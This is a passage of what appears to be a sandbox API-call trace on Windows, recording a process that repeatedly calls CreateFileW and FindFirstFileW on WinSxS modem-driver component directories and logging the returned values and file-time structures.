	[0108.539] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmsun2.inf_31bf3856ad364e35_6.1.7600.16385_none_4ce76d8a7ce20a5a" (normalized: "c:\\windows\\winsxs\\amd64_mdmsun2.inf_31bf3856ad364e35_6.1.7600.16385_none_4ce76d8a7ce20a5a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.539] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmsun2.inf_31bf3856ad364e35_6.1.7600.16385_none_4ce76d8a7ce20a5a\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd643c9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd643c9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.539] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmsupr3.inf_31bf3856ad364e35_6.1.7600.16385_none_2bd80faf00659dd3" (normalized: "c:\\windows\\winsxs\\amd64_mdmsupr3.inf_31bf3856ad364e35_6.1.7600.16385_none_2bd80faf00659dd3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.539] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmsupr3.inf_31bf3856ad364e35_6.1.7600.16385_none_2bd80faf00659dd3\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd643c9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd643c9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.540] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmsupra.inf_31bf3856ad364e35_6.1.7600.16385_none_4479553983d478b1" (normalized: "c:\\windows\\winsxs\\amd64_mdmsupra.inf_31bf3856ad364e35_6.1.7600.16385_none_4479553983d478b1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.540] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmsupra.inf_31bf3856ad364e35_6.1.7600.16385_none_4479553983d478b1\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd643c9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd643c9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.540] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmsuprv.inf_31bf3856ad364e35_6.1.7600.16385_none_4fb7d394934f6d4e" (normalized: "c:\\windows\\winsxs\\amd64_mdmsuprv.inf_31bf3856ad364e35_6.1.7600.16385_none_4fb7d394934f6d4e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.540] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmsuprv.inf_31bf3856ad364e35_6.1.7600.16385_none_4fb7d394934f6d4e\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd643c9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd643c9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.541] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmtdk.inf_31bf3856ad364e35_6.1.7600.16385_none_189823581f4ffba3" (normalized: "c:\\windows\\winsxs\\amd64_mdmtdk.inf_31bf3856ad364e35_6.1.7600.16385_none_189823581f4ffba3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.541] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmtdk.inf_31bf3856ad364e35_6.1.7600.16385_none_189823581f4ffba3\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd643c9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd643c9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.541] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmtdkj2.inf_31bf3856ad364e35_6.1.7600.16385_none_0a23444b9e8721bd" (normalized: "c:\\windows\\winsxs\\amd64_mdmtdkj2.inf_31bf3856ad364e35_6.1.7600.16385_none_0a23444b9e8721bd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.541] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmtdkj2.inf_31bf3856ad364e35_6.1.7600.16385_none_0a23444b9e8721bd\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd643c9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd643c9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.542] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmtdkj3.inf_31bf3856ad364e35_6.1.7600.16385_none_0aac5680b7a55e26" (normalized: "c:\\windows\\winsxs\\amd64_mdmtdkj3.inf_31bf3856ad364e35_6.1.7600.16385_none_0aac5680b7a55e26"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.542] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmtdkj3.inf_31bf3856ad364e35_6.1.7600.16385_none_0aac5680b7a55e26\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd643c9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd643c9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.542] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmtdkj4.inf_31bf3856ad364e35_6.1.7600.16385_none_0b3568b5d0c39a8f" (normalized: "c:\\windows\\winsxs\\amd64_mdmtdkj4.inf_31bf3856ad364e35_6.1.7600.16385_none_0b3568b5d0c39a8f"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.542] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmtdkj4.inf_31bf3856ad364e35_6.1.7600.16385_none_0b3568b5d0c39a8f\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd643c9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd643c9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.543] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmtdkj5.inf_31bf3856ad364e35_6.1.7600.16385_none_0bbe7aeae9e1d6f8" (normalized: "c:\\windows\\winsxs\\amd64_mdmtdkj5.inf_31bf3856ad364e35_6.1.7600.16385_none_0bbe7aeae9e1d6f8"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.543] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmtdkj5.inf_31bf3856ad364e35_6.1.7600.16385_none_0bbe7aeae9e1d6f8\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd643c9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd643c9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.543] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmtdkj6.inf_31bf3856ad364e35_6.1.7600.16385_none_0c478d2003001361" (normalized: "c:\\windows\\winsxs\\amd64_mdmtdkj6.inf_31bf3856ad364e35_6.1.7600.16385_none_0c478d2003001361"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.543] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmtdkj6.inf_31bf3856ad364e35_6.1.7600.16385_none_0c478d2003001361\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd643c9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd643c9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.544] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmtdkj7.inf_31bf3856ad364e35_6.1.7600.16385_none_0cd09f551c1e4fca" (normalized: "c:\\windows\\winsxs\\amd64_mdmtdkj7.inf_31bf3856ad364e35_6.1.7600.16385_none_0cd09f551c1e4fca"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.544] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmtdkj7.inf_31bf3856ad364e35_6.1.7600.16385_none_0cd09f551c1e4fca\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd8a529, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd8a529, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.544] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmtexas.inf_31bf3856ad364e35_6.1.7600.16385_none_05cab1c7bc0a0a83" (normalized: "c:\\windows\\winsxs\\amd64_mdmtexas.inf_31bf3856ad364e35_6.1.7600.16385_none_05cab1c7bc0a0a83"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.544] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmtexas.inf_31bf3856ad364e35_6.1.7600.16385_none_05cab1c7bc0a0a83\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd8a529, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd8a529, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd8a529, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.545] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmti.inf_31bf3856ad364e35_6.1.7600.16385_none_8c796e1a01b11d01" (normalized: "c:\\windows\\winsxs\\amd64_mdmti.inf_31bf3856ad364e35_6.1.7600.16385_none_8c796e1a01b11d01"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.545] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmti.inf_31bf3856ad364e35_6.1.7600.16385_none_8c796e1a01b11d01\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd8a529, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd8a529, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd8a529, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.545] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmtkr.inf_31bf3856ad364e35_6.1.7600.16385_none_ade8da810f91972b" (normalized: "c:\\windows\\winsxs\\amd64_mdmtkr.inf_31bf3856ad364e35_6.1.7600.16385_none_ade8da810f91972b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.545] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmtkr.inf_31bf3856ad364e35_6.1.7600.16385_none_ade8da810f91972b\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd8a529, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd8a529, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd8a529, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.546] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmtron.inf_31bf3856ad364e35_6.1.7600.16385_none_1a632a9b22180b83" (normalized: "c:\\windows\\winsxs\\amd64_mdmtron.inf_31bf3856ad364e35_6.1.7600.16385_none_1a632a9b22180b83"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.546] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmtron.inf_31bf3856ad364e35_6.1.7600.16385_none_1a632a9b22180b83\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd8a529, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd8a529, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd8a529, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.547] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmusrf.inf_31bf3856ad364e35_6.1.7600.16385_none_c202376b9c50961e" (normalized: "c:\\windows\\winsxs\\amd64_mdmusrf.inf_31bf3856ad364e35_6.1.7600.16385_none_c202376b9c50961e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.547] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmusrf.inf_31bf3856ad364e35_6.1.7600.16385_none_c202376b9c50961e\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd8a529, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd8a529, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd8a529, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.547] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmusrg.inf_31bf3856ad364e35_6.1.7600.16385_none_ef6d0c5fba40766d" (normalized: "c:\\windows\\winsxs\\amd64_mdmusrg.inf_31bf3856ad364e35_6.1.7600.16385_none_ef6d0c5fba40766d"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.547] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmusrg.inf_31bf3856ad364e35_6.1.7600.16385_none_ef6d0c5fba40766d\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd8a529, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd8a529, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd8a529, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.550] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmusrgl.inf_31bf3856ad364e35_6.1.7600.16385_none_b2c1c88417dc71f1" (normalized: "c:\\windows\\winsxs\\amd64_mdmusrgl.inf_31bf3856ad364e35_6.1.7600.16385_none_b2c1c88417dc71f1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.550] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmusrgl.inf_31bf3856ad364e35_6.1.7600.16385_none_b2c1c88417dc71f1\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd8a529, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd8a529, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd8a529, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.550] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmusrk1.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_152819b000cbe224" (normalized: "c:\\windows\\winsxs\\amd64_mdmusrk1.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_152819b000cbe224"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.550] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmusrk1.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_152819b000cbe224\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.551] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmusrk1.inf_31bf3856ad364e35_6.1.7600.16385_none_48d5ea17c5a406fa" (normalized: "c:\\windows\\winsxs\\amd64_mdmusrk1.inf_31bf3856ad364e35_6.1.7600.16385_none_48d5ea17c5a406fa"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.551] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmusrk1.inf_31bf3856ad364e35_6.1.7600.16385_none_48d5ea17c5a406fa\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd8a529, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd8a529, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd8a529, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.551] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmusrsp.inf_31bf3856ad364e35_6.1.7600.16385_none_d5e80cc9e393e749" (normalized: "c:\\windows\\winsxs\\amd64_mdmusrsp.inf_31bf3856ad364e35_6.1.7600.16385_none_d5e80cc9e393e749"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.551] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmusrsp.inf_31bf3856ad364e35_6.1.7600.16385_none_d5e80cc9e393e749\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd8a529, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd8a529, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd8a529, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.552] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmvdot.inf_31bf3856ad364e35_6.1.7600.16385_none_ecfc96e96b60283d" (normalized: "c:\\windows\\winsxs\\amd64_mdmvdot.inf_31bf3856ad364e35_6.1.7600.16385_none_ecfc96e96b60283d"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.552] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmvdot.inf_31bf3856ad364e35_6.1.7600.16385_none_ecfc96e96b60283d\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd8a529, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd8a529, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd8a529, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.552] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmvv.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_ef3ad939fe178dbc" (normalized: "c:\\windows\\winsxs\\amd64_mdmvv.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_ef3ad939fe178dbc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.552] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmvv.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_ef3ad939fe178dbc\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.553] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmvv.inf_31bf3856ad364e35_6.1.7600.16385_none_a3737237579b3ac6" (normalized: "c:\\windows\\winsxs\\amd64_mdmvv.inf_31bf3856ad364e35_6.1.7600.16385_none_a3737237579b3ac6"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
